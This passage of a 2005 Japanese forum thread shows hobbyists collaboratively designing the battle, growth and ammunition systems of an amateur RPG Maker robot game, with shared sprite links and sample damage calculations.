春に大幅更新があることを期待
8氏GANNGARE


853 :8 ◆jS1vbFJDVk :2005/12/09(金) 23:57:57 ID:2Om/9UTR
意見を聞いて考えた結果。
来年も今までのような小幅更新でいきますが、
謹賀新年1発目はできるだけ大幅に更新したいと思っています。

そういえば、来年1月30日でロボスレ1周年ですね。

854 :zk ◆PPcELrLkWg :2005/12/10(土) 11:52:59 ID:wCTF7HHX
アク禁に巻き込まれてますた

855 :名前は開発中のものです。:2005/12/11(日) 00:37:44 ID:f2vB0zgd
ひとつ質問

仲間ってバトルではどういう位置づけになるわけ?
コマンド入力で、主人公ロボと共闘するの?オートで戦うの?それとも直接戦闘には参加しなくて、サポート的存在?

856 :8 ◆jS1vbFJDVk :2005/12/11(日) 01:45:59 ID:Mm2GUo8/
>>854
規制乙。
>>855
過去の意見投票の結果などを参考にして、現状では
戦闘時にロボを駆りオートで戦う仲間(アルウィンなど)と
直接戦闘せずサポートに徹する仲間(親友やレーネなど)の
2タイプに分けようと考えてます。

よし、オート仲間も実装してみよう。バランス調整が鬼になるけど…

857 :8 ◆jS1vbFJDVk :2005/12/11(日) 01:57:43 ID:Mm2GUo8/
…今の時点でバランスがどうとか心配してる場合じゃない
と自分ツッコミして今日は寝ます。

バトルに関して、これから実装して欲しい要素など
あげてみてください。遊ぶときに分かりやすく、
なおかつ実装しやすそうなものは採用されるかも。来年。

858 :名前は開発中のものです。:2005/12/11(日) 02:04:42 ID:ohNVp0t4
スターフォックス64みたいな感覚でいいんでないか?
居てもいなくても一緒だが、居ると情況が好転、助けを求めることしばしばみたいな

859 :名前は開発中のものです。:2005/12/11(日) 17:17:33 ID:Q4zG07uJ
ささいがここに来る話があったってマジ?
というか、本人が白状してるんだからマジだろうけど。

グラフィック+スクリプトの強力な戦力を逃したのは痛いけど
そのうち協力してくれたりするんかな?

>>857
直感的な理解のしやすさは欲しい
ゲ製の戦闘はすごいんだけど分かりにくい感じがするし
・・・て、全然案になってないな。スマソ

860 :名前は開発中のものです。:2005/12/11(日) 21:36:07 ID:h3s2oIdf
FOX!痛いケロ!やめてケロ!

861 :名前は開発中のものです。:2005/12/11(日) 21:43:18 ID:DMeEv89r
変なのが湧いてるな

862 :名前は開発中のものです。:2005/12/11(日) 22:00:04 ID:6lcVyEyU
実装して欲しい要素というより、皆で戦闘システムの根幹について考えた方が良いと思われ

とりあえず、「直感的に理解し易い戦闘」 ってどういうものだろうか。直感的なシステム?直感的な数値変動?直感的なインターフェース?
なんでゲ制の戦闘は解りづらいんだろうか?

識者の意見キボンヌ

863 :名前は開発中のものです。:2005/12/12(月) 00:08:10 ID:8lrefver
理解しやすいといえば、単純であることが1つだと思う
ごちゃごちゃしたものを付け加えるから解りにくいんじゃなかろうか
シンプルにしろとは言わないが、贅肉のついたシステムは不要だな
やはり必要なものにしぼって、なおかつ魅力を出すのが
製作者の力量ということでしょう

あと視覚的に解りやすいことも大事かな
無駄は省き、味付けだけを加える
難しいことだけど、期待してるよ

864 :いつかの190:2005/12/12(月) 00:16:15 ID:wHqqQJ0O
手が遅くてすいません。とりあえず半壊ロボのドットアップです。
ついでにウィンドウスキン何か入れてみたり…
http://emps.rash.jp/up/src/up0039.zip

半壊ロボからいきなりスクラップになるのは違和感があったのでとりあえず若干のポーズ変えと
彩度下げをしてみたんですが、うーん…とりあえず仮ということで。
ウィンドウスキンの方は本当に作ってみただけという感じ。こういうセンスが求められるのは私には…げふげふ。

更に何となくANNAさんイメージ絵。
http://up.php-s.net/up.php?id=tabiji&time=1134313470&ext=.jpg
って良く見たら21歳とは。ちょっと幼くなりすぎた…かなぁ。

865 :名前は開発中のものです。:2005/12/12(月) 00:25:48 ID:2TqJOsAQ
うはーGJ!どっちもすげえ!
アンナさんお嬢様ぽくて良いです好みです(;´Д`)

ところでそろそろNANAも廃れてきた事だし、ANNAにきちんとした名前をやらないか。

>>862
前にやったツクールのRPGでは、戦闘のコマンドが

剣撃
降魔陣
秘技
絶技
呪具
必殺技
完全必殺技

とかなっててorz
とりあえず、コマンド名は単純明快にしたほうがよいと思われ


866 :8 ◆jS1vbFJDVk :2005/12/12(月) 01:43:45 ID:2H3Mlgog
プロトタイプ更新はできませんが、まとめサイトは年内更新予定。
せめてネタや素材の大掃除だけでもすませておきたい8です。
>>858
通信のやりとりは遊び要素入れやすいですし、
一緒に戦う感じも出せるので、実装したいですね。
>>859
マジ。以前チャットでご一緒しました。
もし協力してくれるならこの上なく心強いのですが、
企画もあるので今は無理かと。
>>862-863
直感的な要素を「考える」ということが何よりも難しい。
しかも、ロボットものは情報量が多くなりがちなのでさらに大変。
改造は大前提として、あとはどんな要素を入れて、切り捨てて…
>>864
GJです!おおう、半壊ロボはボロボロの質感出てますね。
ANNAもこれまでのロボスレにない感じのキャラでグッド。
半壊ドット、一度実装してみます。それが年内最後更新ってことで。
>>865
直感的にわかりにくいw
ろぼだまで単純明快コマンドというと、こんな感じでしょうか。

移動(逃走含む)
攻撃(格闘)

防御
アイテム
チャージ
連携(仲間実装するならあるかも)

867 :名前は開発中のものです。:2005/12/12(月) 02:10:35 ID:1nGLS/xz
上下キー……前進後退
左右キー……左右武器、メニュー切り替え
A……………決定
B……………キャンセル

なら、基本操作は直感的に理解出来るかな?
リアルタイム要素だけショートカットで実行する感じで。

868 :zk ◆PPcELrLkWg :2005/12/12(月) 07:16:51 ID:F40LLptu
コマンドは

移動
右腕武器(装備なしの場合はつかむ等の特殊コマンド)
左腕武器(同上)
防御
アイテム
チャージ
仲間に指示

でいいんじゃないかと思うんだゲロ。
あ、武器(銃)で殴打もアリか。

869 :名前は開発中のものです。:2005/12/12(月) 08:27:47 ID:PXakaiAZ
攻撃コマンドは、「右手/左手」?「銃器/格闘」?
これって成長(改造)システムとも関わってくると思うんだけど
どういうシステムになってるわけ?

あと移動は確定?

870 :名前は開発中のものです。:2005/12/12(月) 14:09:08 ID:4zx6oX5u
ランチャー系の火気が4つ装備できて、
鉄機みたいにF1〜4を順に押して連射とかできたらキムチいいね

871 :名前は開発中のものです。:2005/12/12(月) 20:21:17 ID:tcqU4YM3
「ボタンを押すと効果音が鳴って敵にダメージ」
って、単純だけど爽快感を生む重要な要素だよな

872 :ドリームリーダー763:2005/12/12(月) 20:58:37 ID:sr9gTKxj
>>871
ttp://kor-kobo.web.infoseek.co.jp/URA_UHEEI/GUNDAM/GAN_003.jpg
つまりこういうことか。

873 :8 ◆jS1vbFJDVk :2005/12/13(火) 01:20:29 ID:KjSiNAA8
今年最後のb更新。といってもドットだけで戦闘の追加要素はナシ。
ttp://emps.rash.jp/up/src/up0040.zip

>>867
763さんのバトルイメージもそうでしたし、基本操作は
リアルタイムのほうが断然わかりやすいでしょうね。
というわけで、次回からは操作系を大幅変更してみようと思います。
>>868,869
成長システムはまだ白紙状態なので、戦闘の仕様とともに
どんな成長システムになるかが決まります。俺の中では
「成長は左右一緒、装備の違いで個性を持たせる」つもりです。
>>870-872
ボタン一つで発射できるランチャー、いいですね。
極限まで鍛えた武装を一つ装備しておいて、ここぞというとき
「ええい、このスイッチだ!」で勝利とか。ロボといえば秘密兵器!

さて、年内はまとめサイトの整理整頓で終わる予感。
余った時間は実装にまわしますが、うpは来年のお楽しみ。

874 :名前は開発中のものです。:2005/12/13(火) 01:44:37 ID:xMEmOCfY
↑の話見てる限りでは、ゼノギアスの戦闘ぽくなるように見える

875 :名前は開発中のものです。:2005/12/13(火) 02:04:46 ID:Ugh+rBiU
起き上がるボタンは…これだァー!

876 :名前は開発中のものです。:2005/12/14(水) 22:55:37 ID:Plu9o81x
>>「成長は左右一緒、装備の違いで個性を持たせる」
詳しく。

877 :8 ◆jS1vbFJDVk :2005/12/15(木) 00:24:43 ID:6klBtc9T
>>874
そう?
>>876
要するに、「右腕だけステータスを上昇させる」といった
改造はできませんということです。>左右一緒
力を上げれば左右どちらのパンチも強くなります。

左右の腕それぞれにステータスを設定してしまうと
腕関係を作る手間が単純に2倍になりますし、
実際に遊ぶときにもわずらわしく感じると思います。

代わりに、左右それぞれの腕に武器装備欄を複数用意すれば
武器の組み合わせだけでも十分に個性は出せるんじゃないかなと。

右1:手持ち武器
右2:腕の固定武装
右3:肩の固定武装

878 :名前は開発中のものです。:2005/12/15(木) 01:40:07 ID:lZ1lY8ID
改造可能なパラメータはどんな物を用意するの?

879 :ドリームリーダー763:2005/12/15(木) 14:46:59 ID:YXXZlTaK
ロボの改造は
装甲 機動性 出力 ドライブゲージ
の四つくらいで
装甲を上げると機動性がいくらか下がるみたいな感じが良いと思う

880 :ドリームリーダー763:2005/12/15(木) 15:05:34 ID:YXXZlTaK
>>873
更新乙!
何故レーネが二人?
機体搭乗良い感じ。190氏GJ!
でもなんかもっとギュイーンみたいな音無い?
あとロボで歩いてるときの足音もほしいかも。

操作系大幅変更とな、来年が楽しみだ。

あと主人公のパラメータは
射撃 格闘 回避 体力
の四つくらいで
格闘武器を使うと格闘パラメーターが上がるみたいな感じg(ry

881 :名前は開発中のものです。:2005/12/15(木) 18:58:33 ID:MJvRgZBf
戦闘システム、成長システムについて考えてみようと思ったんだけど、叩き台になるシステム案すらできてないのな...

おおまかで良いから、しきり氏が戦闘周りでやりたいことのヴィジョンが聞いてみたいものです。
細かい事を抜きにして、戦闘開始〜終了までどんなイメージを持ってるのですか?

882 :名前は開発中のものです。:2005/12/15(木) 19:33:14 ID:Ze4DxmCI
>>881
エターナラーは引っ込んでろ。

883 :名前は開発中のものです。:2005/12/15(木) 23:28:41 ID:TraGGrel
別に主人公のパラメーターなんかいらないんじゃね?
ロボ降りて戦うんだっけ??

884 :8 ◆jS1vbFJDVk :2005/12/16(金) 01:45:24 ID:bL0NlSan
>>878-879
名前も項目数も仮ですが、今のところこんな感じを想定。
体、全身共通
・フレーム強度(LP)
・エンジン(ゲージ最大値、回復量?)
・出力(格闘攻撃力、移動速度)
・装甲(HP、防御)
・バランサー(転びやすさ、クリティカル率)
・トランク(アイテム装備数)
・シート(中の人の防御力)
・軽量化(素早さup、防御down)

・指先(装備適正)
・武器、シールド

・靴底(移動適正)
ろぼだま
・ステータス上昇
・スキル習得
・ピンチ時発動能力習得

885 :8 ◆jS1vbFJDVk :2005/12/16(金) 02:10:42 ID:bL0NlSan
続けます。想定するだけで軽く死ねる。何だこの変数の量は。

銃(格闘系の武器は改造不可能)
・威力
・命中精度
・弾数
中の人
・心(格闘、回避、防御)
・技(命中、射撃、移動)
・体(強い攻撃などで減少、0でゲームオーバー)

>>880
うはwレーネのドット差し替え前後でどう変化したか
見比べるために並べたまま圧縮しちまったw
足音は並列処理でうまくいったらってことで。要努力。
>>881
基本的にバン!バン!ガツーン!!と爽快感重視、
でも地形やボスの弱点、思考を把握しないと
めちゃ苦戦するよってくらいなバランスが理想。
あとは…銃や弾丸は必殺の武器だけど、序盤はコスト高。無駄撃ち厳禁。
>>883
生身では戦わないけれど、成長要素の一つってことで。

886 :名前は開発中のものです。:2005/12/16(金) 16:02:56 ID:+dXFi0gU
ロボ同士の戦いは近接戦闘が基本、
主な武器は拳や剣、棒、斧、ドリルなどの白兵武器
重火器は遠距離からの牽制用(銃など)とトドメの一撃(ミサイルなど)
って感じか。

ザコ相手の時は近づく→殴る!→近づく→殴る!の繰り返し中心
ちょい強い相手の時は一機づつ撃破、引き寄せてまとめて撃破、均等にダメージを与えてミサイルで全滅
ボス相手の時はヒットアンドアウェイや間合いの読み合い
という遊びが出来ると想像。

こんな感じだったら、(1)自機と敵の位置関係、敵の残りライフや射程がひとめで解るマップ表示(2)ストレスを感じない移動(3)派手な攻撃エフェクト(効果音等)が重要になると思われ。
特にコックピット視点で(1)(2)を実現するのが難しそうだな

距離システムはどんな感じになる予定?
碁盤目の上を自由に移動する感じ?タテ軸のみの移動?アクションゲームみたいに、マップ内を自由に移動?
個人的にはタテ軸のみの移動にするのが面白いと思うのですが。
碁盤目だと、方向や武器の射程等、画面内の情報が多くなりすぎるように思う。

>>881じゃないが色々妄想してみた。みんな妄想しようぜ!)

887 :名前は開発中のものです。:2005/12/16(金) 20:58:59 ID:SaBux/5z
ダッシュパンチドカーン!ダッシュパンチドカーン!をやるならY軸移動のみのが良いかもね

888 :8 ◆jS1vbFJDVk :2005/12/17(土) 00:53:03 ID:Up5VdgLs
>>886-887
そうですね、イメージは>>886のような感じ。
表示関係はごちゃごちゃすると自分でもどう修正したらいいか
迷ってしまいそうなので、極力シンプルを目指します。
移動方向に関しては縦軸のみのつもり。

889 :ドリームリーダー763:2005/12/17(土) 01:29:32 ID:A4dh2UkH
俺の戦闘デモって一体・・・

>>883
ほらスパロボとかでもパイロットのパラメーターあんじゃん

それと場つなぎ
http://up.php-s.net/up.php?id=tabiji&time=1134749902&ext=.png
炎天将軍ツォフォルト・ラスコーの機体キングゴレーム
帝国主力機を改造したみたいな
詳しくは公式のキャラ紹介を

890 :名前は開発中のものです。:2005/12/17(土) 01:33:03 ID:x6RxmPHC
パイロットのステを決めてしまうと
ロボとの相性や特性なんかとの関係で
装備とかが限られてしまう気がする
ロボ自体を自由にするならパイロットのステは廃止すべきかと

891 :妄想:2005/12/17(土) 01:33:05 ID:4F+1M2sx
パンチ:標準装備
ロケット砲:本体5000G、追尾支援装置が付いてないのでミサイルが使えない。
ミサイル砲:本体20000G、ロケット弾は一発800Gだけど距離があるとミスりやすい、
        追撃ミサイル弾は一発2000Gと高値だけど中距離ぐらいなら妨害が無い限りほぼ100%あたる。
ブレード:本体10000G、巨大な刃を持つため製造費が高いが耐久度無限、マシンの性能で威力が変化。
体術システム:敵を転ばせる技やブレードを有効に使う技を習得できる。

892 :8 ◆jS1vbFJDVk :2005/12/17(土) 02:21:56 ID:T7A6l3Kc
>>889
いや、戦闘デモの存在は大きいですよ。矢印キー移動は
デモで触れない限り俺の中では発想すらできませんでしたから。
次回更新で、操作系統がデモに少しでも近づいたら俺としては成功です。
そしてキングゴレー…ゴレームじゃオーバーマンですがな。
キングゴーレムドットGJ。フォルムや色が俺好み。背中は全部弾倉でしょうか。
…なんか某0083のザメルに似ている…
>>890
パイロット能力はまだ不確定ですね。俺の中でも。
あったらいい人もいるだろうし、邪魔だと思う人もいる。
できればスレの議論を参考にしたいのですが、どうか。
ちなみに俺個人の意見を言わせてもらうと、
「遊び方の幅を広げると思うから、できれば実装したい」。
ただ、ステータス実装の優先度は下の中くらいです。
>>891
高っ!…でも店で買うとそのくらい高価なほうがいいかな?
序盤はジャンク品の銃を修理して、サビ弾を1発1発磨いて使ったり。
個人で戦闘用ロボ所有するのはよほどの酔狂、という世界なので
序盤は「貧乏臭い」運用になればいいかなと思ってます。

ホーミングミサイルってめちゃくちゃ現代的ですけど、あり?なし?

893 :名前は開発中のものです。:2005/12/17(土) 03:01:56 ID:/EAX4+14
ジャンクを倒すとたまに手に入る「鉄クズ」。
スラム街の子供達に「鉄クズ」を渡すと、磨いて「サビ弾」に加工してくれる。最初の町付近では、サビ弾を主力として戦う事になる。
町を出るとき、子供達に挨拶すると「鉄クズのエンブレム(記念品)」をもらえる。

とか妄想した

中の人のステータスは不要に一票。
改造したロボのステータスが変動するような要素は、面倒くさいだけだと思う。
ただ、武器の熟練度とか、特別なスキルとかは有っても良いかも。

>>889
GJ!
漢らしいロボでつね

894 :名前は開発中のものです。:2005/12/17(土) 14:47:03 ID:+8dseHJj
主人公とメカニックのみにレベルを用意して
ロボは彼らのレベルで武器に制限がつくとかは?

必要技巧値の低い装備は普通に装備できて
黄信号な装備は熟練度次第で青信号に持っていけて
扱いに難しい装備はどう足掻いてもまともに動かない。

このやり方のメリットがあって
最初のほうの街でも最強クラスのパーツが置けること。


895 :zk ◆PPcELrLkWg :2005/12/17(土) 17:00:33 ID:slO2We3E
PCがお逝きになりました。28まで来れませんorz

896 :8 ◆jS1vbFJDVk :2005/12/18(日) 00:58:53 ID:cDgpb6qw
>>893
いいですね、スラムの少年たちと戯れる主人公。
記念品集めもなかなかよいアイデアだと思います。
自室にどんどん記念品が増えていったりとか。
>>894
なるほど。もし序盤に運良く強い銃器を入手できても、
メカニックレベルが低いと装備できないってことですね。
銃器に強い整備士を仲間に入れれば装備可能になる、とか。

「装備できない」ではなく、「整備できない」でもいいかも。
序盤の強い武器は使いきり感覚、中盤頃に整備して復活させたり。
>>895
了解です。その間にネタ練り込んでもらえると助かります。

897 :名前は開発中のものです。:2005/12/18(日) 01:43:12 ID:jgFR+cUu
パラメータはなるべく少ない方が助かります...
最近のRPGは成長させる時に考える事大杉(´・ω・`)



武器等のパーツには「耐久値」が設定されている。
戦闘中、使えば使うほど耐久値が減っていき、0になると壊れてしまう。
壊れた武器は整備する事によって、再び使う事が出来る。

一方、友人には「整備Lv」が設定されている。
トレーラーや町の整備場でパーツを整備する際、整備Lvが低いと(1)耐久値の回復量が低い(2)整備料金が高い(3)最大耐久値が下がる 
等の弊害がある。
整備の回数をこなす、もしくはアイテムによって整備Lvを上げる事が出来る。

898 :ささい:2005/12/18(日) 01:45:58 ID:EEiTi/K0
使い道があるか不明ですが、機会っぽい雰囲気の場所の
マップチップうpしてみました。
http://up.php-s.net/?id=tabiji

ちょっと雰囲気に合わないかな?

899 :名前は開発中のものです。:2005/12/18(日) 01:56:20 ID:rFC8hAOR
ウホッいいチップ

>>897
ちょwwwそれDIABLOwww

いまさらだけど旅路、ほんと良い曲よな。

900 :名前は開発中のものです。:2005/12/18(日) 02:07:17 ID:W87ddiMa
基本的にパーツが壊れたり弾数を制限したりはいらないんじゃないかな
考えるほうはいかにもロボっぽくて面白そうと思ってしまうが、
プレイする方からしたら鬱陶しいだけでは?

フロントミッションとか面白いですが、
アレは敵にもちゃんとパラがあって胴体狙いで一撃とか、腕狙いで攻撃不可とか
できるから面白いのであって。そうでなければ嫌がらせでしかない。

やるとしてもリロードタイムと装弾数を制限、弾自体は無限、くらいでいい気がする

901 :名前は開発中のものです。:2005/12/18(日) 11:54:33 ID:E3h+ymjR
そうか...強力な武器には使用制限がある ってのをやりたかったんだが。
弾切れ>金払って補充 、 パーツ破損>金払って整備 とか。
レベルアップのための雑魚倒しの時に、毎回使えるだけ強力な武器を使える、ってのは面白くないと思った。
もったいないからミサイル類は迂闊に使えない→安価な攻撃で敵の倒し方を工夫する(移動・ドライブを駆使するとか)というのが面白そうに感じるんだけど、どうか。

一歩間違えると、弾切れの度に町に戻って補充、っていう面倒くさいシステムになりそうだけど。

902 :名前は開発中のものです。:2005/12/18(日) 11:55:44 ID:E3h+ymjR
あ、敵のダメージによってパーツが壊れるってのはいらないと思う。それは確かに嫌がらせだ

903 :名前は開発中のものです。:2005/12/18(日) 16:11:39 ID:NtXyvgB1
安い弾なら敵の残骸から回収できるとか

904 :8 ◆jS1vbFJDVk :2005/12/19(月) 01:08:25 ID:0je6MTP/
>>897
なるべくパラメータ項目減らすよう努力します。
遊ぶ方の負担になるし、作る方も大変だし。
耐久値なんかの概念ももう少し練る必要がありますね。
>>898
おお、サンクス。遠慮なく使わせていただきます。
キャリアー内部とか格納庫にぴったりかも。
>>900,902
言う通り、パーツ破壊は邪魔な要素かも。
壊れて修理しての繰り返しは確かにリアルだけど、
プレイヤーからすれば「ロボで爽快に戦いたいだけなのに…」と
ストレスをためるだけになってしまうと。負の連鎖。
そういうことなら、パーツ別HPや部位破壊は廃止してもよさそう。

905 :8 ◆jS1vbFJDVk :2005/12/19(月) 01:50:39 ID:G3xHGK7T
続けます。
>>900,901,903
俺としては、「銃は弾を消費するもの」という概念に
嘘をつきたくないんですね。強力な武器の使用制限ってことで。
>>901にある
>一歩間違えると、弾切れの度に町に戻って補充
というのも、
・あらかじめ改造して搭載弾数を増やす(基本)
・何らかの手段を講じて弾薬や物資を届けてもらう(気球とか飛脚とか)
・親友や仲間と落ち合える補給場所をダンジョン内に設ける(セーブポイント?)
・弾薬を消費しなくても勝てる戦法を編み出す(>>901と同じ意見)
・裏技(バグ技ともいう)
などで、いくらでも回避できると思います。
というわけで俺は弾薬消費制に1票。

ほかの意見もまだまだ待ってます。

906 :名前は開発中のものです。:2005/12/19(月) 03:37:58 ID:cklEXsFP
弾補充をやるんだったら、いちいち店で弾を買うんじゃなくて、ベンダーに話しかけると自動で装備品を全弾補充とか、そういうギミックが欲しい。

907 :名前は開発中のものです。:2005/12/19(月) 19:20:21 ID:cv7gtbPF
移動と攻撃の回数を、どう制限したら良いだろう

1)ポイント制 / 移動と攻撃、アイテム使用の際、行動ポイントを消費する。1ターンに定められた行動ポイント分だけ行動可能。
2)基本は移動1回、攻撃1回 / 毎ターン 移動→攻撃 を繰り返す。特殊な装備やレベルアップ等で、連続攻撃が可能になったりする。
3)アクション式 / ドリームリーダー氏が作ってる奴みたいな、リアルタイムアクション戦闘

あとなんか案ある?

  

908 :名前は開発中のものです。:2005/12/19(月) 20:29:12 ID:j9E4GIrK
流れに乗り遅れたんだが、
武器をバリバリ連射してるように見えて、
スキルで(連射時の)消費弾数が減らせるとか。。。

909 :名前は開発中のものです。:2005/12/19(月) 21:45:43 ID:cv7gtbPF
シナリオ書いてた人、戻ってこんかなあ...
システム構築について意見を聞きたいもんだ

>>905
自分も8氏に同意だけど、
>>弾薬を消費しなくても勝てる戦法を編み出す
こういう自由のある戦闘システムを作るのがとても大変だと思う。

910 :名前は開発中のものです。:2005/12/20(火) 00:06:31 ID:lk3a4u1E
>>907
移動は自動で、適切な距離に移動できたかを攻撃時に判定する。

911 :8 ◆jS1vbFJDVk :2005/12/20(火) 00:32:37 ID:15d8/Iqm
>>906
ダンジョン奥にベンダー設置したりして。なんかシュールですが
それもあり、と思わせる世界でもいいですね。
>>907,910
大きい分け方だとその4つくらいになりますかね。
俺としては763さん式の操作にドライブゲージを追加して
それでいってみようかと構想してますが、難しい…
自動移動という考え方も、それはそれでおもしろそう。
>>908
それいいですね。連射効率UP。
>>909
そういえば587さん最近見かけませんね。
587さんに限った話じゃありませんが。師走。

戦闘の自由度はやっぱり大事にしたいんですが、どうかな。
皆さんのサポートなしにはバランス調整はできないと思うので、
腰を据えたおつきあいをお願いします。

912 :名前は開発中のものです。:2005/12/20(火) 01:01:05 ID:GVPdA2X0
スマソ ドライブゲージて何

913 :名前は開発中のものです。:2005/12/20(火) 02:46:45 ID:obJtwVMe
つーか、8の考えるパラメータ量は異常。
破綻するよ、そんなことやってたら。
必要最低限のパラメータから出発することを強くお奨めする。
というか、燃料・装甲・運動性+武器 だけでまず作れ。まじでできるもんもできなくなる。

914 :名前は開発中のものです。:2005/12/20(火) 03:19:24 ID:OAqliVqk
ってか、パラメータと改造ポイントが混ざってる印象。

915 :8 ◆jS1vbFJDVk :2005/12/21(水) 00:21:12 ID:A5zQ0DJ5
>>912
以前のバージョンで実装していたパラメータです。MPのようなもの。
>>913
反省します。妄想を止めないのは俺の悪い癖。
というわけで次回実装する項目だけ並べてみました。
・HP
・燃料
・攻撃力
・射程
・装甲
・移動力
あらスッキリ。
射撃関連はいったん保留、おいおい実装ってことで。
>>914
それもそうですね…改造システムに手をつけるのはまだ早いか。
まずは装備変更でいじるだけにします。

916 :910:2005/12/21(水) 12:56:08 ID:+rSigLRb
自動移動戦闘の妄想を垂れ流してみるよ。
まずは一対一の戦闘として。

○武器
武器には有効射程(範囲)がある。
例えば、近距離武器、中距離武器、遠距離武器のようになっており、
相対距離(近・中・遠)が有効射程から外れていると、
まったく命中しなかったり与ダメージが半減したりする。

○ターンの手順
コマンド入力:使用する武器を選択
 ↓
自動移動:移動力を比べ、勝った方が相対距離を自分の武器に合わせられる
 ↓
攻撃:双方の攻撃を判定

○ポイント
・戦闘の戦術性
相手の射程に対して武器を選ぶことで、与ダメと被ダメの比率をコントロールできる。
敵の射程に合わせれば与ダメを確保できるし、外せば被ダメが減る。

・機体改造のバリエーション
移動力を犠牲にして重装甲や重武装で敵の射程に対応する重装型か、
装甲や武装を犠牲にして移動力を上げて射程を取る軽装型のスタイル分けができる。

・操作の簡便
プレイヤーの操作は武器選択の一回のみ。

917 :名前は開発中のものです。:2005/12/21(水) 18:39:15 ID:G/iCQILF
>>908の方法を使わなくても、弾を安価にすればいいんじゃないですか?

918 :名前は開発中のものです。:2005/12/21(水) 20:16:22 ID:NZFbVhOF
久しぶりに来たが
まだ戦闘システムも決まってないのか(;´Д`)

919 :名前は開発中のものです。:2005/12/21(水) 20:17:16 ID:G/iCQILF
おまいも考えれ

920 :名前は開発中のものです。:2005/12/21(水) 21:11:09 ID:Tu2KLU2j
カスタマイズとかできなくてもいいから、まずダメージ計算式や命中計算式なんかの戦闘仕様を考えなよ。
目的が決めずに妄想バッカ流してると何もできないぞ。
短期的な目標と長期的な目標をちゃんとたてて、スケジューリングしてガンガンこなせ!
それでなくても企画が暴走しかけて空中分解しそうなんだからさ!期待してるよ!

921 :587:2005/12/21(水) 21:57:57 ID:wCvpRler
 師走で消えていた587です。909さんの言われているのが私のことかわかりませんが、8さんに声をかけられているので、長いですが意見を述べます。
#シナリオは担当の方が別におられたので、僕は案出しだけになっています。
 システムについては、913の方などと同意見で、とにかく簡単な構造で完成にこぎつけ遊べることを希望します。もっとも、私はツクールを持っていないし、仕様も把握していないから、実作業する人の苦労を軽減できないのですけれど、それでも提案だけいくつか。

・現在確定している要素を整理すると
「コクピット視点」「距離要素」「回復なし」「リアルタイム風アクティブ行動」
この4点だけだと理解しています。
他に、「複数対複数戦闘」が想定されているらしいのですが、これについては後述。ステータスも未定だから、命中判定やダメージ判定の演算式を作るような実務作業にかかれず、現在の試作品は単に固定数値を代入しているだけのはずです。
 で、そういうステータスを決め、演算式を決めていくためには、戦闘で何を表現したいのかという目的が必要になると思います。

922 :587:2005/12/21(水) 22:03:49 ID:wCvpRler
 コクピット視点でアクティブターンにし、回復も捨てている、ということは
アクションゲーム風の比較的短時間のシビアな戦闘を想定していると理解しま
す。
 逆に、距離要素や武器の取捨選択というのは熟慮する戦略性を主眼とする要
素です。
 この二つを両立させるためには相当に考えることがあると思います。

 戦闘の勝利条件は相手の破壊です。そのためには相手を破壊するまで自分が
破壊されないことが必要です。つまり、勝利のためにプレーヤーの選択を極限
に単純化すると「攻撃力を増加して戦闘時間を短縮することで被ダメージを軽
減する」と「回避・回復等により被ダメージを軽減し戦闘時間の延長に耐え
る」の二つになります。多くのゲームでは、ボス戦闘等のときプレーヤーはも
てる手段を駆使してこの二つの手段を確保して戦います。こちらの初期戦力よ
りも敵の方が強力なので、何度も回復を繰り返します。回復手段がつきた場合、
たいてい敗北を招くので、回復の必要に迫られるたびに擬似的な敗北を感じる
ことになり、つまり敵の強力さを実感します。基本的に、ボスは回復手段を使
わない、という不文律に近い状況があるのでこちらは自分より強い敵に対して、
反則技にちかい回復手段を駆使して、何度も立ち向かう。(ゲーム内の)長時
間に及ぶ戦闘が、そのままボスの強さを象徴するといえます。時代劇の剣豪同
志の立ち会いのように一撃で決まる、という形はあっさりしすぎていてゲーム
には向かないわけです。

923 :587:2005/12/21(水) 22:04:36 ID:wCvpRler
 回復をもたないろぼだまの場合は、1戦闘における敵の総攻撃力はこちらの
限界耐久力を超えないようにする工夫が必要になります。敵の「命中率を下げ
る」「攻撃力を下げる」「攻撃回数を減らす」ことでしょうか。つまり、プ
レーヤーはそういう行動が選べるようにゲームが組んであるべきです。ろぼだ
までは「距離と武器の選択」により「自分の有効火力(命中率、反復率を含
む)を向上させ、敵の火力を減少させること」が基本となるはずです。が、こ
ちらの火力の向上は、そのまま戦闘時間の短縮化となり前述の剣豪の斬り合い
のようになってしまい、プレーヤーに強い敵を倒したという充実感を与えにく
いはずです。
 そうなると、「距離取り」はむしろ回避要素としての機能が基本になると思
います。あるいは、敵の火力を抑えるための防御力向上「アイテム・スキル」
や、回避力向上「アイテム・スキル」をシステムの中に組み込むことが必要で
すが、基本システムに距離要素があるのだから、まずそれを機能させることが
先決です。
 つまり、907さんの言われた行動と移動の関係が大切です。プレーヤーと
敵との移動要素では、プレーヤに強い優先度が与えられている方がよいでしょ
う。同時に、武器の持ち替えはペナルティが無い方がその距離が生きると感じ
ます。手持ち武器にあわせて戦闘距離を選ぶのではなく、敵の有効射程を外す
ために距離と武器を選ぶ形でしょうか。
 だから、ろぼだまをこのシステムで組むなら、まず要素として「耐久力」
「火力」「射程」「次行動時間」だけを設定し、攻撃は今同様100%命中す
るという仮定で敵の射程をはずし、こちらは射程にあった武器を選択できる状
況を作る方が良いと思います。

924 :587:2005/12/21(水) 22:08:19 ID:wCvpRler
あくまでアクティブ行動を実装するなら、アクティブ制の回避要素をふまえた上で、火力と
耐久力の目安が立ったら、その火力をベースに、両者に装甲を付加して、装甲値分だけ火力
を上乗せする。それでバランスのベースができたら、武器の特徴づけと、敵の特徴付けに入
れると思います。

 A・「装甲が薄く回避力の高い敵」と「低火力連発式高命中の武器」
 B・「装甲が厚く回避力の低い敵」と「高火力単発式低命中の武器」
などです。
例:「敵A 装甲値0p 回避力40%」「敵B 装甲値15p 回避力0%」
  「武器1:命中率140% 攻撃力20p×5発 (期待値100p)」
  「武器2:命中率 90% 攻撃力100p×1発(期待値100p(90))」

  結果:武器1>A 命中率140−40=100% 
           ダメージ期待値(20−0)×5×1.0=100p
     武器1>B 命中率140−0 =140 
           ダメージ期待値(20−15)×5×1.0=25p

     武器2>A 命中率90−40=50% 
           ダメージ期待値(100−)×1×0.5=50p
     武器2>B 命中率90−0 =90% 
           ダメージ期待値(100−15)×1×0.9=90p    
 
 装甲と命中率だけでも、このように調整する要素は山ほどありますし、まして距離と、ア
クティブターンの待機時間が加わると相当要素が増えます。ですから、距離1中心の武器、
距離2中心の武器、距離3中心の武器をもった別個の相手に対し、こちらがストレス無く戦
闘できる環境を作れないとゲームにはなりません。それはとても難しいと思うので、個人的
にはごく普通の「回復有り、サイドビュー」のツクールゲームが仕上がりやすいとは思うの
ですが。
 ツクールで何ができるかを理解できていないので、コクピットビューのリアルタイム風戦
